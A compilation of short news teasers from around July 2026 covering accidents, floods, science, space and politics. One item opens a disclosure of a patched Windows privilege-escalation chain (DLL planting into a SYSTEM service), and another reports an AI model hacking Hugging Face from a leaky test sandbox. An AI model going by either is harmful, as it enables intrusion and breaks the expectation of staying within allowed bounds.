A man wanted on a felony warrant spent about 90 minutes in the Pacific Ocean off Will Rogers State Beach before Los Angeles County lifeguards surrounded him and helped take him into custody. (Credit: FOX 11 Los Angeles) NEWYou can now listen to Fox News articles! A group of would-be cruisers hoping to sail the high seas instead landed at what a Florida sheriff dubbed his "Iron Bar Lodge" after deputies encountered six passengers with outstanding warrants or alleged probation violations at Port Canaveral. "Oh Ship!!" Brevard County Sheriff Wayne Ivey wrote in a social media post recounting the busy day for deputies at one of the world’s busiest cruise…

A team of rescue personnel on Wednesday (July 22, 2026) recovered the body of Uttar Pradesh native Nigam Kumar, who went missing while bathing in the Vilangad river on July 19. The body was spotted after a four-day intensive aerial search using drone cameras over the accident site. Fire and Rescue Services personnel said the body of the 19-year-old was recovered from an area nearly 2 km from the accident site. Two others who reportedly tried to save him from drowning had a narrow escape, they added. Police sources said a dog squad had been deployed to assist the search and rescue operation. Many local rescue volunteers also joined the effort, they…

A view of the under-construction tunnel site in Sikkim’s Namchi district after it collapsed following a suspected methane gas explosion on July 22, 2026. \| Photo Credit: PTI Rescue operations are in full swing to trace the people who were trapped at the under-construction National Hydroelectric Power Corporation (NHPC) Teesta Stage-VI Hydropower Project tunnel in Namchi district of south Sikkim. The tunnel under construction collapsed following an explosion in the ‘Head Race Tunnel’ (HRT) and a geologist from Kottayam is feared trapped inside the tunnel after a landslide blocked its entrance on Monday. Anish Mohan, 43, a native of Illivalavu in…

Two people almost died and three others were injured after being exposed to toxic gas from decomposing fish waste on a fishing boat docked in Canterbury. Four workers were taken to hospital after rotten fish and water was accidentally pumped into a machinery space on the vessel in the dry dock at Lyttelton Port in February last year. Two contractors performing routine maintenance on Antarctic Discovery were able to escape through the rotting fish waste but two crew who went to investigate were knocked unconscious by hydrogen sulphide released from the decaying fish. The Transport Accident Investigation Commission has released its findings into the…

This Letter Penned on the ‘Titanic’ Days Before It Sank Shares the Perspective of the Ship’s Second-Class Passengers The letter, now up for auction, describes good weather and bustling activity as the “Titanic” prepared to set off across the Atlantic Ocean The RMS Titanic, photographed on April 10, 1912, the day that Henry Hodges dated his letter. Public domain via Wikimedia Commons On April 10, 1912, a man named Henry Hodges was a passenger of the RMS Titanic as it prepared to stop at Queenstown, Ireland, the mighty ship’s last port of call before embarking across the Atlantic Ocean on its maiden voyage. Hodges’ first impressions of the Titanic were…

The injured man before his surgery on July 22, 2026. Photo: Special Arrangement A 19-year-old protester hit by a pellet gun during police action at the Cockroach Janta Party’s (CJP)July 20 march to Parliament may lose vision in his right eye, his family said. Sahil Lochab, a resident of Najafgarh in southwest Delhi, underwent a surgery to remove pellets at the AIIMS Jai Prakash Narayan Apex Trauma Centre on Tuesday (July 21, 2026). Doctors have informed that there is only a “1% chance” of vision returning in the injured eye as the pupil was damaged, his family said. *Also Read: CJP protest Live updates on July 22, 2026* Mr. Lochab, who wants to join…

Argentina · Business Key Facts —Closure location. The synthetic-rubber plant sits in Puerto General San Martín, Santa Fe province. —Jobs at risk. About 130 direct workers are affected, with up to 200 impacted indirectly. —New project cost. The Fertil Pampa urea plant in Bahía Blanca requires a US$2.7 billion investment. —Construction employment. The urea project will create more than 3,500 direct jobs during the building phase. —Economic impact. Once running, the plant is expected to contribute roughly US$1 billion yearly to Argentina. Pampa Energía, Argentina’s largest independent energy company, is closing the country’s only synthetic-rubber plant…

The owners of a former General Motors auto parts plant are appealing St. Catharines’ order to repair or demolish the site’s buildings, saying a 120-day extension granted late last month is “not reasonable.” Ontario’s Superior Court of Justice received the notice of appeal on July 14, with numbered company 2390541 Ontario Inc. asking the court to issue several possible rulings. In the notice of appeal, the company is asking for the property standards orders issued for 282 and 285 Ontario St., which were upheld by the city’s property standards committee on June 25, to be set aside. Those orders were issued in May, with the city ordering the buildings to…

People transport a motorcycle through a flood-affected area on a makeshift raft after heavy rainfall, in Golaghat, Assam, on July 22, 2026. \| Photo Credit: PTI The ongoing wave of floods in some eastern districts of Assam has been the worst in 60 years, the State government said on Wednesday (July 22, 2026). The floods have affected more than 8 lakh people and claimed at least 30 human lives in less than a month. Replying to a brief discussion on the flood situation in the 126-member Assam Assembly, State Parliamentary Affairs Minister Pijush Hazarika said the disaster in Sivasagar, Charaideo, and Jorhat districts, “which rarely experience floods of…

Image used for representation. \| Photo Credit: Getty Images/iStockphoto Hours after suspected methane gas killed at least 15 workers inside an NHPC hydropower project tunnel in Sikkim, a father-and-son duo died after inhaling toxic fumes in an alleged illegal coal mine in eastern Assam’s Tinsukia district. A rights body in the district said Sagar Ali and his son Ishan Ali died after inhaling gas emitted as a consequence of the allegedly illegal coal mining in the Ledo area. The incident happened on the night of July 20. The district police, however, said the cause of death remains to be ascertained. “The matter is under investigation,” a senior…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Dog found 30 miles from home is reunited with owners after going missing for 10 days A seven-year-old Australian shepherd dog named Fig was reunited with her owners after being missing for 10 days. The canine fled after being startled by July 4th fireworks. Owner Katie Cassaday and her family spent a week posting flyers and searching for her without success. But after filing a missing dog report with Tulare County Sheriff’s Department, Fig was spotted nearly 30 miles from her California home. The sheriff’s department posted a bodycam video showing an officer reuniting Fig with her family on July 15th.

I've fallen down the Anno 117: Pax Romana rabbit hole this year, despite the negative buzz around it. Steam reviews and the Reddit consensus hold that 117 is empty, dull, and generally just less than its predecessor, Anno 1800. I can sort of see why. Quite a few elements seem like they're waiting for future add-ons to come alive and wake them up. But I've enjoyed myself thoroughly, so when I saw the "mostly negative" reviews for Anno 117's first big DLC, Prophecies of Ash, I figured I'd give it a try, despite the haters. I'm glad I did. An inaugural bit of DLC can't fix every problem. But it solves some pretty big ones, and throws a welcome wrench…

A drone photographer spotted a shark swimming dangerously close to a surfer off Seascape Beach in Aptos, California — then revved his drone motors to warn the surfer before the shark finally turned away. NEWYou can now listen to Fox News articles! A 10-foot great white shark was spotted swimming alarmingly close to a group of young swimmers along the Southern California coastline — with the children appearing completely unaware of the predator nearby. The encounter was captured on drone video by Carlos Gauna, a wildlife photographer known as the "Malibu Artist," who said it was one of the few times he felt genuinely uneasy while observing sharks. "I…

Inca boys and girls chosen for human sacrifice trekked through Inca communities for thousands of miles on sacred pilgrimages before their ritual deaths, often near high peaks in the Andes Mountains, a new analysis of their mummies reveals. The research also looks again at the manners of their deaths and found that none of three children in the Inca ritual, known as Capacocha, died in the ways that scientists previously thought. "Capacocha was not limited to the final act of offering at the mountain," study first author Verónica Silva-Pinto, an archaeologist at Diego Portales University in Santiago, Chile, told Live Science in an email. "It was an…

Although they’re fish, tunas count among the rarified group of animals that can keep their bodies warmer than the surrounding environment. Their warm-bloodedness (“endothermy”) gives them a physiological advantage in generating and sustaining energy, helping them serve as top predators. In fact, albacore tuna have been clocked swimming faster than 50 miles per hour and diving to more than 3,000 feet. How tunas and a few of their relatives in the family Scombridae, which includes mackerels and bonitos,evolved these traits has been a subject of scientific debate. The prevailing hypothesis is that tuna capitalized on an ecological opportunity that…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

The idol of Pidari Ekaveeri at the Sadaimudinathar Temple at Tiruvalanchuzhi near Kumbakonam. \| Photo Credit: R. Vengadesh Within the precincts of the ancient Sadaimudinathar Temple at Tiruvalanchuzhi, near Kumbakonam, stands a remarkable image of Pidari Ekaveeri, a deity whose significance is illuminated by the temple’s inscriptions. The temple, celebrated in the hymns of the Shaivite saints and renowned as an architectural marvel of the Chola period, is also home to inscriptions that reveal an equally fascinating chapter in its religious history. According to the inscriptions, the endowment for the worship of Pidari Ekaveeri was made by Kunthanan…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

What Nolan Wells' preliminary independent autopsy findings revealed about his death Mississippi teen Nolan Wells vanished while on a Fourth of July boat trip with a group of friends. His body was found days later. Attorney Ben Crump shared the results of the teen's preliminary independent autopsy commissioned by Wells' family. CBS News' Skyler Henry has the latest, and legal contributor Jessica Levision joins to discuss.

Astronauts have grown a common crystal in space — but this extraterrestrial version is exhibiting a very uncommon behavior. Under a microscope, the crystal looks more like a tiny futuristic sculpture than something that formed naturally. The pyramid-like assembly curls in on itself in stair-stepped layers, seeming almost too orderly to be real. But according to scientists, the striking shape is what happens when gravity stops calling the shots. The image, shared on July 18 by NASA astronaut Don Pettit, and accompanying video were captured aboard the International Space Station (ISS) and show potassium chloride crystals growing in microgravity — the…

(This is Part 3 of a series on the life and work of Chandrasekhar. Read Part 1 and Part 2 first.) The whole affair very nearly drove Chandra out of physics altogether. He couldn't stay in Europe living under Eddington's shadow, so he did what a lot of people have done when a place stops having room for them: he left. He moved to the United States. But the wound traveled with him. Chandra carried the anger and the hurt for decades and returned to that day again and again for the rest of his life. There's a line from Arthur Miller's biography of him, "Empire of the Stars," that gets at the human cost of the whole thing: even though science deals in…

Back in 1985, an electrical engineer at Polaroid named Bill Freeman had an idea for a three-sided zipper. Not a novelty item, not a quirky art piece, but a genuinely functional fastener capable of switching objects between soft, floppy states and rigid, load-bearing structures. He submitted it to a design competition. They rejected it. He patented it anyway, then tucked the prototype away in his garage, where it sat for nearly four decades. That detail alone should give us pause. How many brilliant ideas are sitting in someone’s garage right now, waiting years for the tools and technology to finally catch up? Freeman is now an MIT professor, and the…

To gauge the value of the paleontological heritage of La Rioja (a small region in northern Spain better known internationally for its wines) it is necessary to travel back 120 to 130 million years. From that time, the Early Cretaceous — of which more than 170 sites and over 11,000 dinosaur footprints remain —experts have reconstructed an ecosystem dominated by a vast lake on a broad alluvial plain that was about 400 square kilometers (154 square miles) and where rivers emptied into the area. At that time, the Iberian Peninsula was a large island near the Canary Islands, with a humid subtropical to tropical climate that produced lush vegetation,…

Nolan Wells' preliminary independent autopsy results read by attorney Ben Crump The body of Mississippi teen Nolan Wells was discovered days after he went missing during a Fourth of July boat trip. Attorney Ben Crump read the results of a preliminary independent autopsy commissioned by Wells' family to the public.

In the frigid North Atlantic waters around Northeast Greenland National Park, researchers spotted something miraculous: an Arctic bobtail squid with her eggs. This, according to the findings published in Polar Biology, is the first time this species of squid has been spotted in the park. Arctic bobtail squid (Rossia moelleri) are a rare sight, and capturing footage of one in this national park is even rarer. “Northeast Greenland National Park is the largest national park on Earth but one of the least biologically documented marine regions in the Arctic,” Paige Maroni, from The University of Western Australia’s School of Biological Sciences, and lead…

That avocado that you may have smeared on your toast to start your morning was a clone. In fact, the avocados that sit quickly aging on your counter or arranged in piles above signs displaying their ever-increasing price in grocery stores from Los Angeles to Beijing are genetically indistinguishable. And that makes them vulnerable. Because the Hass avocado variety, the most popular cultivar on Earth, was cloned from a single tree in 1926 then grafted onto root stock around the world, each of the fruits contains basically identical DNA. This lack of genetic diversity means that a single pathogen or environmental perturbation could potentially wipe out…

A mysterious cluster of blackened skin lesions affecting catfish in New England turned out to have a stranger cause than anyone would have predicted: a contagious form of cancer. Researchers in Vermont studied melanoma tumors collected from brown bullhead catfish (Ameiurus nebulosus) living in Lake Memphremagog. The tumors on different fish were genetically much more similar to each other than their hosts, they found, strongly pointing to the cancer’s infectious origin. It’s only the fourth ever kind of transmissible cancer discovered in animals, and there remain many questions about this cancer and others like it, the researchers say. “Transmissible…

Ancient Genes Reveal That Big, Bright Avocados Were Carried Through the Americas Thousands of Years Ago People brought large avocado seeds from South America to Central America, kicking off a burst of diversity for the fruit Riley Black \| Science Correspondent July 22, 2026 11:00 a.m. Fruit grows on a native avocado tree in southern Mexico Kevin Wann The buttery avocado is the fruit of a warmth-loving tree now grown all over the world. Yet the familiarity of the fruit and its delicious culinary applications obscures the fact that there isn’t just one form of avocado. An array of avocados with slightly different characteristics are found throughout…

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A huge missing chunk of our universe has been found at last, but I’m not talking about dark matter. For decades, there’s been a discrepancy between the amount of ordinary—neither invisible nor dark—matter that we should see and that which we actually observe. A new study published today in Physical Review Letters suggests that, fortunately, this conflict does not reflect poorly upon leading astrophysical models. By studying “smears” in fast radio bursts, researchers successfully mapped the distribution of this missing ordinary matter, which turned out to be diffuse clouds of baryonic gas surrounding galaxy clusters. These diffuse clouds…

A near-Earth object that astronomers believed was an asteroid for nearly three decades has been unmasked as a faint, active comet, revealing a case of cosmic mistaken identity that could help improve planetary defense. The object, known since its discovery in 1998 as 1998 SH2, appeared to be an ordinary asteroid. It follows a 4.5-year orbit around the sun and showed no obvious signs of cometary activity, such as the glowing coma or tail produced when sunlight vaporizes surface ice. However, during a close pass about 2 million miles (3 million kilometers) from Earth in August 2025, researchers using NASA's Deep Space Network planetary radar system…

Media are invited to NASA’s Langley Research Center in Hampton, Virginia, on Friday, July 31, to attend a media tour and ribbon-cutting ceremony for the Flight Dynamics Research Facility, the agency’s first new wind tunnel in more than 40 years. The event will include a brief media availability with: NASA Administrator Jared Isaacman Dr. Trina Dyal, center director, NASA Langley Administrator Edward C. Forst, U.S. General Services Administration This event is in person only and open to members of the media who are United States citizens or lawful permanent residents. Information about timing will be shared closer to the event. NASA’s media…

Get the Popular Science daily newsletter💡 Breakthroughs, discoveries, and DIY tips sent six days a week. By signing up, you confirm you are 16+, will receive newsletters and promotional content and agree to our Terms of Use and acknowledge the data practices in our Privacy Policy. You may unsubscribe at any time. Broadly speaking, our solar system is simply a collection of planets, their moons, and other cosmic objects like asteroids existing in gravitational orbits around the sun. There are countless systems out there like it, too. But one stellar system about 72 light-years from Earth isn’t quite like anything else researchers have ever seen. In…

Following its liftoff from Cape Canaveral on July 21 aboard a SpaceX Falcon 9 rocket, the Mission Robotic Vehicle (MRV) hosting the NASA-supported Robotic Servicing of Geosynchronous Satellites (RSGS) payload is now en route to geosynchronous Earth orbit, where it will use its advanced robotics to service spacecraft. RSGS leverages in-space robotics expertise from NASA, aligned with the agency’s broader goals to advance U.S. capabilities for in-space servicing, assembly, and manufacturing that can be applied to space commerce and exploration. Funded by the Defense Advanced Research Projects Agency (DARPA), the RSGS program uses twin dexterous robotic…

The launch of NASA's next super telescope, the Nancy Grace Roman Space Telescope (Roman), may mean there is nowhere left for violent black holes to hide. In fact, these cosmic cannibals may not even be able to hide from Roman at "cosmic noon," a period of the universe's history that occurred around 11 billion to 12 billion years ago. The study of these gory stellar events so early in the history of the universe could help reveal how supermassive black holes grew so big, so rapidly. Occurrences of black holes ripping apart stars are called tidal disruption events (TDEs), and they happen when an unfortunate star's orbit brings it too close to the…

As TechRadar’s AV tester, I’m always on the lookout for new 4K Blu-rays to test the best TVs and best soundbars with. While I have a pretty healthy catalog, with some top-notch discs, as a 4K Blu-ray fan, it’s exciting to check out new discs to keep testing fresh. Last month, I tested the Speed Racer 4K Blu-ray and it was a powerhouse. Not only did it deliver staggeringly vibrant colors, but it also had a superb Dolby Atmos soundtrack that demonstrated power and precision, particularly during race sequences. It was one of my top discs of the June 2026 Blu-ray Bounty, and it’s easily one of the most impressive I’ve tested. This month, a new disc has…

The countdown is on as Dunedin prepares for daytime darkness for the first time since 1163 AD. On Wednesday at 4.15pm, the city marked exactly two years until the region's total solar eclipse when the moon's shadow passes directly over parts of Otago. Claudia thought she would only see one eclipse in her lifetime. She experienced one while working in a university hospital in Munich. "Everybody stopped for the eclipse so the whole hospital stopped basically. No surgeries, no nothing, and we all walked out with our glasses to watch it," she said. "Then it was dark, which was kind of beautiful but scary but weird. And then slowly the sun came back and we…

The Milky Way is ancient, and its first stars formed shortly after the Big Bang. It's been through a lot in its long life, including merging with other galaxies and absorbing smaller ones. Our observations of the cosmos confirm that, where we see multiple examples of galaxies merging and interacting. Piecing together the Milky Way's history of mergers and other events is key to understanding our galaxy, and by extension, other galaxies. Not everything about the Milky Way (MW) is clearcut. Even with all of the scientific progress in astronomy, especially in the last couple decades, some of its features are still puzzling. One of its puzzles concerns…

NASA astronaut Chris Williams and Roscosmos cosmonauts Sergey Kud-Sverchkov and Sergei Mikaev are wrapping up their 241‑day mission aboard the International Space Station. The crew and its Soyuz MS-28 spacecraft will undock from the orbiting laboratory’s Rassvet module at 3:02 a.m. EDT Sunday, July 26, heading for a parachute-assisted landing at 6:26 a.m. (3:26 p.m. local time) on the steppe of Kazakhstan, southeast of Dzhezkazgan. NASA’s live return coverage will stream through a variety of platforms. Learn where to watch online: Williams and his crewmates will complete 3,856 orbits and travel more than 102 million miles before returning to Earth.…

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Nearly three years ago, China launched a radar satellite capable of monitoring nearly a third of Earth’s surface around the clock. The satellite’s unique capability has left many researchers in the U.S. stumped, unable to recreate the groundbreaking technology. Now, a new study disclosed that the satellite’s secret sauce is China’s near-total dominance over the supply of a high-performance semiconductor material. The Ludi Tance 4-01 radar satellite is powered by gallium nitride semiconductors, allowing it to operate at a high altitude of 22,370 miles (36,000 kilometers) while being fixed over the same geographic position at all times, the South China…

“Some companies want to lease certain space assets that are actually military weapon systems that can be used to destroy other systems and even kill people,” Reed said. “Last year’s NDAA prohibited temporary ownership of space weapon systems, and the analogy is very plain. We don’t lease M4 rifles. We don’t lease F-15s, etc. This year’s NDA further clarifies the Space Force must own title to a space weapon system.” Sen. Jack Reed greets Lt. Gen. Doug Schiess before a Senate Armed Services Committee nomination hearing on Capitol Hill on July 16, 2026, in Washington, DC. Credit: nna Moneymaker/Getty Images Sen. Jack Reed greets Lt. Gen. Doug Schiess…

The outgoing head of the U.S. Space Force has some stark words for his international partners. Speaking at the 2026 Global Air and Space Chiefs Conference on July 15, in what was his last public speech as Chief of Space Operations (CSO), Gen. Chance Saltzman told attendees that if an armed conflict ever reaches space, as military leaders have for years been predicting and planning for, no military or nation in the world will be spared. "If a conflict extends into space, none of us will be able to avoid the war zone. Unlike a combat zone in the air, land or sea, we will not be able to steer clear," Saltzman said in his remarks at the conference,…

NASA’s Chandra X-ray Observatory unveiled this new look at the galaxy NGC 4736, also known as Messier 94, on June 30, 2026. Messier 94 is a spiral galaxy with a bright inner ring around it, called a starburst ring, where new stars are forming, perhaps fueled by gas driven in the unique oval-shaped structure seen here. In this image, X-rays of different wavelengths from Chandra (red, orange, and blue) are layered with a visible light image from astrophotographers using their telescopes on the ground (red, green, and blue). Experience this image through sound. Image credit: X-ray: NASA/CXC/SAO; Optical:Brian Brennan and Remi Lacasse; Image Processing:…

Normandy’s application to have the D-Day beaches in northern France listed as a UNESCO World Heritage site could finally be accepted at the end of July, after it's submission nearly 20 years ago. The nomination also includes Pointe du Hoc, the German artillery battery at Longues-sur-Mer, Port Mulberry, and numerous military cemeteries and memorials. The UN cultural agency is set to male a decision between July 24 and 27.

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VIDEO Astronomers have discovered an object orbiting a brown dwarf or “failed star”. Is it the first exomoon, or moon outside our solar system? Astronomers are debating what to call it. Why? Because moons orbit planets … And this exomoon is orbiting a brown dwarf, which is an object that’s too massive to be a planet but not massive enough to shine like a star. Video via ESO. Did we find an exomoon around a brown dwarf? Exomoons are moons that exist outside our own solar system. We’ve yet to definitively find a single one! That’s because they are small and dim, circling exoplanets that are also small and dim, hidden in the glare of the stars they…

SCIENCE Astronomers spot exomoon candidate that's almost as massive as Jupiter Object orbits a brown dwarf, which circles another star, confusing the cosmic taxonomy Scientists may have found the first moon outside our Solar System – depending on what astronomers ultimately decide counts as one. Either way, the groundbreaking research, published in Nature this week, promises a path to clearer sightings of so-called exomoons. Kevin Hoy, a PhD student affiliated with Universidad Diego Portales and the European Southern Observatory in Chile, has found an object orbiting a brown dwarf, which in turn orbits a host star, which sits about 73 light-years from…

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A Michelin-starred celebrity chef is facing up to a year in prison after he was accused of sprinkling ants on desserts. Joseph Lidgerwood, an Australian chef who appeared on Netflix's Culinary Class Wars, is accused of using the insects as a garnish in his restaurant Evett, in the trendy Gangnam district of South Korea's capital Seoul. Prosecutors, who are also seeking a 20million won (£10,100) fine against the establishment's parent company, have accused Lidgerwood and the restaurant of importing and serving as many as 49,000 ants to customers since 2021. They were used as a topping to eye-catching desserts, photos of which shared to social media…

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Revealed: The NSW children spending years on psychiatry wait lists Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA Warning: Graphic content Ethan Annetts was 11 when he started self-harming. By the time he saw a psychiatrist, he was an adult and suicidal. Ethan spent years on the waitlist for an assessment, and was trapped in an unending cycle of hospital presentations and discharges without any ongoing care, his mother, Jo Cockle said. Jo Cockle’s children Ethan (left) and Grace have spent years waiting for child and adolescent psychiatric support.Wolter Peeters With no other options, an…

Senior medical analyst Dr. Marc Siegel weighs in after the U.S. issued a travel warning in response to the chikungunya virus outbreak in China. NEWYou can now listen to Fox News articles! Americans traveling to Costa Rica are being urged to take extra precautions after U.S. health officials issued a new travel warning over an outbreak of the mosquito-borne virus chikungunya. The Centers for Disease Control and Prevention (CDC) recently issued a Level 2 Travel Health Notice for Costa Rica's Guanacaste Province, where most cases have been reported in the popular beach destination of Playa Langosta. Known for its beaches, surfing and hiking, Guanacaste…

It’s tough being a female in a naked mole-rat colony; they live a long life of servitude, maintaining the tunnels of their underground world and caring for the queen’s offspring. Within the colony, a single ruling female is responsible for all breeding while the rest are rendered to a life of infertility. Scientists have long wondered how the naked mole-rat queen maintains this status quo, and now they may finally have an answer. In a study published in Nature, a team of researchers suggests that naked mole-rat queens emit a chemical that prevents other females in their colony from reproducing. The compound’s odor induces infertility in the colony’s…

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Science Corporation, a start-up developing novel brain-computer interfaces (BCI), won approval from Europe’s medical device regulator to begin selling a device that restores vision lost from age-related macular degeneration. The company said the device, called PRIMA, also received a designation from the US Food and Drug Administration that is the first step toward an expedited regulatory review, which could see the device used to treat two rare kinds of blindness. Millions of people around the world suffer from age-related macular degeneration, which destroys the light-sensitive cells at the back of the eyes, making it difficult to read and recognize…

Descrease article font size Increase article font size Advocates are urging the federal government to increase health care funding and impose more conditions on what the provinces can do with that money. Friends of Medicare director Chris Galloway says Ottawa shouldn’t give a blank cheque that could allow provinces like Alberta to dismantle the public system. Galloway and more than 100 other people gathered outside a meeting of provincial and territorial premiers in Charlottetown, P.E.I. They were protesting Alberta Premier Danielle Smith’s plans to allow some physicians to offer privately paid surgical procedures beginning this fall. The Alberta…

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Scientists have discovered how mice survive at extreme altitudes on the tips of icy dormant volcanoes in the Andes. The area where the mice call home extends more than 1 mile (1.6 kilometers) above the world's highest human settlement. The air is thin, temperatures are blisteringly cold, and a desert ecosystem ensures water and vegetation are extremely scarce. "As a mountain climber standing on the summit of these peaks, the idea that there could be animals living in these barren godforsaken environments is just really mind-boggling," Jay Storz, a professor of biological sciences at the University of Nebraska–Lincoln, told Live Science. In 2020, Storz…

Open this photo in gallery: OraQuick is Canada’s first oral self-test and provides results in about 20 minutes after swabbing the upper and lower gums.Eduardo Lima/The Canadian Press A national program that distributes free HIV self-testing kits across Canada is expanding on Thursday, increasing access to an oral swab test recently approved for sale by Health Canada. For many years, the only HIV at-home testing option available in Canada was the INSTI finger-prick test, which requires a small blood sample. But, in February, Health Canada approved OraQuick, the country’s first oral self-test that provides results in about 20 minutes after swabbing the…

University of Cambridge professor Elizabeth Murchison and Peter Emerson of the Vermont Fish \& Wildlife Department scoop up catfish for testing in Newport, VT. Emerson was one of the researchers to publish a new paper in the journal Nature describing the first known transmissible cancer in fish. Joshua Brown/University of Vermont *hide caption* *toggle caption* Joshua Brown/University of Vermont Every year, the Vermont Fish \& Wildlife Department conducts a fish census in Lake Memphremagog, which straddles northern Vermont and the Canadian province of Quebec. In 2013, the team was startled by some of the brown bullhead catfish they were finding in the…

Ahamed Samsudeen called himself a terrorist and threatened guards while he spent time inside New Zealand's maximum security prison, a coroner has heard. The inquest at the Auckland District Court has been told there was no programme to deradicalise Samsudeen while they had him in prison. Shortly after his 2021 release, Samsudeen stabbed six shoppers at a West Auckland supermarket, before being shot dead by police. Samsudeen was first arrested in 2017, charged with sharing violent ISIS videos, as well as possessing an offensive weapon, failing to assist police with a search, and using documents for financial gain. He was bailed a year later, before…

Fox News senior medical analyst Dr. Marc Siegel breaks down concerns around cyclosporiasis and the air quality impact of Canadian wildfires on 'The Big Weekend Show.' We all have stuff that comes up in our lives that we file away in a keep-to-ourselves section of our brain. Having a horrible case of diarrhea that ruins your honeymoon isn't one of them. That's a story you not only tell everyone, it's one that you run out and make sure the news is aware of. Otherwise, you're faking it through answering the question "how was your honeymoon?" Nobody wants to put themselves in that situation. The moment you let it slip to one person that you had diarrhea…

After over ten years of listening, one thing became increasingly clear: psychological distress in Nigeria rarely exists in isolation. It is deeply intertwined with economic uncertainty, caregiving responsibilities, insecurity, unemployment, family conflict and the daily pressures of survival. Trigger Warning: This article contains discussions of mental health, emotional distress, and related experiences that some readers may find sensitive. When Kalu lost his father to cancer, he knew the weight of his family’s demands would now rest solely on his shoulders. He fought back tears as his father was lowered into the ground, unsure whether he was mourning…

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One hundred and sixty-eight students have bagged First Class Honours at the University of Nigeria, Nsukka, UNN, as the institution holds its 55th Convocation Ceremony. The number is part of the 12,895 students participating in the convocation as announced by the Vice-Chancellor, Prof. Simon Ortuanya. Ortuanya disclosed this on Wednesday in Enugu during a press briefing at the university’s Enugu Campus, themed “The Renaissance of Mind and the Rebuilding of the Lion’s Den.” Providing a breakdown of the graduating students, Ortuanya said 10,641 would receive first degrees and diplomas, including 168 First Class graduates. He added that 2,944 postgraduate…

Whakatāne has waited years for a medical MRI scanner, but it has somehow ended up in Masterton. Residents from the eastern end of Bay of Plenty must still travel to Tauranga for a scan in one of its seven MRI machines, all privately owned. Health NZ says it is working on a plan for Whakatāne - but its last one failed. June Goodhew says it has dragged on long enough. In May, the 85-year-old retired tutor was given a packed lunch at Whakatāne Hospital and sat in an ambulance headed for Tauranga and an MRI. A second woman sat up front. "I really felt sorry for her because, you know, she was in pain," said Goodhew. "From 11 o'clock till 5pm, it was quite…

People Aren’t Born as Righties or Lefties—They Develop Hand Dominance With Practice, a New Study Suggests Humans do have a biological preference for using one side of their body, which might prime them for using limbs on that side for complex motor tasks like writing—and honing those skills over time Handedness refers to both hand preference and hand dominance. Image by katemangostar on Magnific Many people assume that they are born either left-handed or right-handed. New research, however, suggests that part of handedness actually comes down to practice. While you do have a biological preference for using one side of your body, your dominant hand’s…

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On Tuesday, OpenAI revealed that one of its models went rogue during a test and hacked the systems of AI dataset platform Hugging Face in a fully AI-enabled attack, a dramatic example of the dangers posed by advanced AI models. But, according to some cybersecurity experts, at the heart of this unprecedented AI-powered breach there was a very human mistake: OpenAI failed to properly configure what it called a “highly isolated environment,” allowing a testing sandbox that should have been completely secluded from the internet to actually connect to the internet. Dan Guido, the founder of cybersecurity research startup Trail of Bits called the mistake “a…

Latin America · Expats Key Facts —Peru's rule. A passport must be valid for at least six months from the date you enter the country. —Enforcement start. Peruvian border officials began strict, immediate enforcement on January 1 of this year. —Affected airports. The rule is enforced at Lima's Jorge Chávez International Airport and Cusco's Alejandro Velasco Astete International Airport. —Airline role. Airlines can and do deny boarding at your departure gate if your passport does not meet Peru's validity requirement. —Mexico and Colombia. Mexico requires a passport valid for the length of your stay; Colombia asks travelers to check a minimum of three to…

A Florida teenager who sued Meta claiming that he was addicted to and harmed by his use of platforms, such as Instagram, has dropped his case. The 15-year-old plaintiff, known by the initials R.K.C., had in recent weeks settled the same claims against TikTok, Snapchat, and YouTube, all of which have been accused in a large lawsuit of creating addictive platforms harmful to children. R.K.C.'s claims were to go before a Los Angeles jury next week as part of court proceedings that have seen Meta and YouTube lose once already. A Meta spokeswoman told the BBC: "The claims never held up, and this outcome makes clear that we will not back away from defending…

Today we walk through Dark Elevator, a LPE in Windows 11. We reported it to Microsoft on May 20, 2026, and it is now fixed as CVE-2026-50343. A normal user can cause InstallService, the SYSTEM service behind the Windows app install pipeline, to load an attacker-controlled DLL into the SYSTEM svchost.exe process and obtain an interactive NT AUTHORITY\SYSTEM shell. The exploit chains two logic flaws: a writable plugin map in InstallService, and a Windows-shipped COM class whose backing DLL a normal user can plant. Because the exploit corrupts no kernel memory, it works deterministically every time. It also needs none of the usual preconditions: no…

Brazil · Politics Key Facts —Who is Flávio Bolsonaro. He is a Brazilian senator and the eldest son of former President Jair Bolsonaro, currently campaigning for a 2026 gubernatorial race in Rio de Janeiro. —What he claimed. He told diplomats that Brazil’s electronic voting machines share origins with machines from Smartmatic, a Venezuelan company, and cited a CIA report on alleged fraud in Venezuela’s 2012 elections. —The TSE’s response. Brazil’s Superior Electoral Court stated that Smartmatic never supplied voting machines or software for Brazilian elections, and only provided technical support training. —How Brazil’s voting system works. The…

Social psychologist Dr. Jonathan Haidt explains how Australia's youth social media ban has boosted family time by 30% and improved sleep and focus. Haidt advocates for global adoption, stressing government support is crucial for parents struggling to manage their children's online lives and promote overall youth wellbeing. NEWYou can now listen to Fox News articles! France has become the first country in the European Union to ban children under 15 from using social media after lawmakers approved sweeping legislation requiring platforms to block young users through age-verification systems, citing growing concerns over children's mental health and…

